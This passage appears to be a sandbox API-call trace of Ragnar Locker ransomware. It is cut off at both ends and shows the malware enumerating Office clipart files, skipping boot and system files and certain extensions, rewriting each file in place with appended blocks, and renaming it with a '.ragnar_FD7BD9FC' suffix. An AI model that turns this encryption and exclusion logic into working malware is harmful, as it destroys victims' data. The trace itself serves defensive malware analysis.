lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.977] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.977] GetProcessHeap () returned 0x580000 [0086.977] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.977] CloseHandle (hObject=0xf4) returned 1 [0086.977] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF" [0086.977] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF.ragnar_FD7BD9FC" [0086.977] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240157.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240157.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.978] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa410, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240175.WMF", cAlternateFileName="")) returned 1 [0086.978] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.978] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0240175.WMF" | out: lpString1="J0240175.WMF") returned="J0240175.WMF" [0086.978] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF") returned=".WMF" [0086.978] lstrcmpiW (lpString1="J0240175.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.978] lstrcmpiW (lpString1="J0240175.WMF", lpString2="autorun.inf") returned 1 [0086.978] lstrcmpiW (lpString1="J0240175.WMF", lpString2="boot.ini") returned 1 [0086.978] lstrcmpiW (lpString1="J0240175.WMF", lpString2="bootfont.bin") returned 1 [0086.979] lstrcmpiW (lpString1="J0240175.WMF", lpString2="bootsect.bak") returned 1 [0086.979] lstrcmpiW (lpString1="J0240175.WMF", lpString2="bootmgr") returned 1 [0086.979] lstrcmpiW (lpString1="J0240175.WMF", lpString2="bootmgr.efi") returned 1 [0086.979] lstrcmpiW (lpString1="J0240175.WMF", lpString2="bootmgfw.efi") returned 1 [0086.979] lstrcmpiW (lpString1="J0240175.WMF", lpString2="desktop.ini") returned 1 [0086.979] lstrcmpiW (lpString1="J0240175.WMF", lpString2="iconcache.db") returned 1 [0086.979] lstrcmpiW (lpString1="J0240175.WMF", lpString2="ntldr") returned -1 [0086.979] lstrcmpiW (lpString1="J0240175.WMF", lpString2="ntuser.dat") returned -1 [0086.979] lstrcmpiW (lpString1="J0240175.WMF", lpString2="ntuser.dat.log") returned -1 [0086.979] lstrcmpiW (lpString1="J0240175.WMF", lpString2="ntuser.ini") returned -1 [0086.979] lstrcmpiW (lpString1="J0240175.WMF", lpString2="thumbs.db") returned -1 [0086.979] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.979] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.979] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.979] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.979] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.979] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.979] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.979] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240175.wmf")) returned 0x20 [0086.979] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240175.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.980] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=42000) returned 1 [0086.980] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa407, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.980] GetProcessHeap () returned 0x580000 [0086.980] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.980] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.981] VirtualAlloc (lpAddress=0x0, dwSize=0xa410, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.981] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.981] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.982] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa410, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa410, lpOverlapped=0x0) returned 1 [0086.983] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.983] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa410, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.983] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa410, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa410, lpOverlapped=0x0) returned 1 [0086.983] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa410, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.983] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.984] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa410, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.984] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.984] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.984] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.984] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.984] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.984] GetProcessHeap () returned 0x580000 [0086.984] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.984] CloseHandle (hObject=0xf4) returned 1 [0086.984] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF" [0086.984] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF.ragnar_FD7BD9FC" [0086.984] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240175.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240175.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.985] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240189.WMF", cAlternateFileName="")) returned 1 [0086.985] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.985] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0240189.WMF" | out: lpString1="J0240189.WMF") returned="J0240189.WMF" [0086.985] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF") returned=".WMF" [0086.985] lstrcmpiW (lpString1="J0240189.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.985] lstrcmpiW (lpString1="J0240189.WMF", lpString2="autorun.inf") returned 1 [0086.985] lstrcmpiW (lpString1="J0240189.WMF", lpString2="boot.ini") returned 1 [0086.985] lstrcmpiW (lpString1="J0240189.WMF", lpString2="bootfont.bin") returned 1 [0086.985] lstrcmpiW (lpString1="J0240189.WMF", lpString2="bootsect.bak") returned 1 [0086.985] lstrcmpiW (lpString1="J0240189.WMF", lpString2="bootmgr") returned 1 [0086.985] lstrcmpiW (lpString1="J0240189.WMF", lpString2="bootmgr.efi") returned 1 [0086.985] lstrcmpiW (lpString1="J0240189.WMF", lpString2="bootmgfw.efi") returned 1 [0086.985] lstrcmpiW (lpString1="J0240189.WMF", lpString2="desktop.ini") returned 1 [0086.985] lstrcmpiW (lpString1="J0240189.WMF", lpString2="iconcache.db") returned 1 [0086.985] lstrcmpiW (lpString1="J0240189.WMF", lpString2="ntldr") returned -1 [0086.985] lstrcmpiW (lpString1="J0240189.WMF", lpString2="ntuser.dat") returned -1 [0086.985] lstrcmpiW (lpString1="J0240189.WMF", lpString2="ntuser.dat.log") returned -1 [0086.985] lstrcmpiW (lpString1="J0240189.WMF", lpString2="ntuser.ini") returned -1 [0086.985] lstrcmpiW (lpString1="J0240189.WMF", lpString2="thumbs.db") returned -1 [0086.985] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.985] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.985] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.985] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.985] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.985] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.985] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240189.wmf")) returned 0x20 [0086.986] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240189.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.986] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3524) returned 1 [0086.986] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xdbb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.986] GetProcessHeap () returned 0x580000 [0086.986] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.986] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.988] VirtualAlloc (lpAddress=0x0, dwSize=0xdc4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.989] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.989] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.989] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xdc4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xdc4, lpOverlapped=0x0) returned 1 [0086.989] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.989] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xdc4, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.989] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xdc4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xdc4, lpOverlapped=0x0) returned 1 [0086.989] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xdc4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.989] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.989] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xdc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.989] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.989] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.989] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.989] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.990] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.990] GetProcessHeap () returned 0x580000 [0086.990] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.990] CloseHandle (hObject=0xf4) returned 1 [0086.990] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF" [0086.990] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF.ragnar_FD7BD9FC" [0086.990] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240189.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240189.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.990] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1476, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240291.WMF", cAlternateFileName="")) returned 1 [0086.990] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.991] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0240291.WMF" | out: lpString1="J0240291.WMF") returned="J0240291.WMF" [0086.991] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF") returned=".WMF" [0086.991] lstrcmpiW (lpString1="J0240291.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.991] lstrcmpiW (lpString1="J0240291.WMF", lpString2="autorun.inf") returned 1 [0086.991] lstrcmpiW (lpString1="J0240291.WMF", lpString2="boot.ini") returned 1 [0086.991] lstrcmpiW (lpString1="J0240291.WMF", lpString2="bootfont.bin") returned 1 [0086.991] lstrcmpiW (lpString1="J0240291.WMF", lpString2="bootsect.bak") returned 1 [0086.991] lstrcmpiW (lpString1="J0240291.WMF", lpString2="bootmgr") returned 1 [0086.991] lstrcmpiW (lpString1="J0240291.WMF", lpString2="bootmgr.efi") returned 1 [0086.991] lstrcmpiW (lpString1="J0240291.WMF", lpString2="bootmgfw.efi") returned 1 [0086.991] lstrcmpiW (lpString1="J0240291.WMF", lpString2="desktop.ini") returned 1 [0086.991] lstrcmpiW (lpString1="J0240291.WMF", lpString2="iconcache.db") returned 1 [0086.991] lstrcmpiW (lpString1="J0240291.WMF", lpString2="ntldr") returned -1 [0086.991] lstrcmpiW (lpString1="J0240291.WMF", lpString2="ntuser.dat") returned -1 [0086.991] lstrcmpiW (lpString1="J0240291.WMF", lpString2="ntuser.dat.log") returned -1 [0086.991] lstrcmpiW (lpString1="J0240291.WMF", lpString2="ntuser.ini") returned -1 [0086.991] lstrcmpiW (lpString1="J0240291.WMF", lpString2="thumbs.db") returned -1 [0086.991] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.991] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.991] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.991] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.991] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.991] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.991] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.991] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240291.wmf")) returned 0x20 [0086.991] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240291.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.992] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5238) returned 1 [0086.992] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x146d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.992] GetProcessHeap () returned 0x580000 [0086.992] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.992] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.995] VirtualAlloc (lpAddress=0x0, dwSize=0x1476, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.995] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.995] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.995] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1476, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1476, lpOverlapped=0x0) returned 1 [0087.008] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.009] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1476, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.009] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1476, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1476, lpOverlapped=0x0) returned 1 [0087.009] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1476, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.009] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.009] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1476, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.009] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.009] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.009] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.009] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.009] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.009] GetProcessHeap () returned 0x580000 [0087.009] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.009] CloseHandle (hObject=0xf4) returned 1 [0087.010] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF" [0087.010] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF", lpString2=".ragnar_FD7BD9FC" | out: 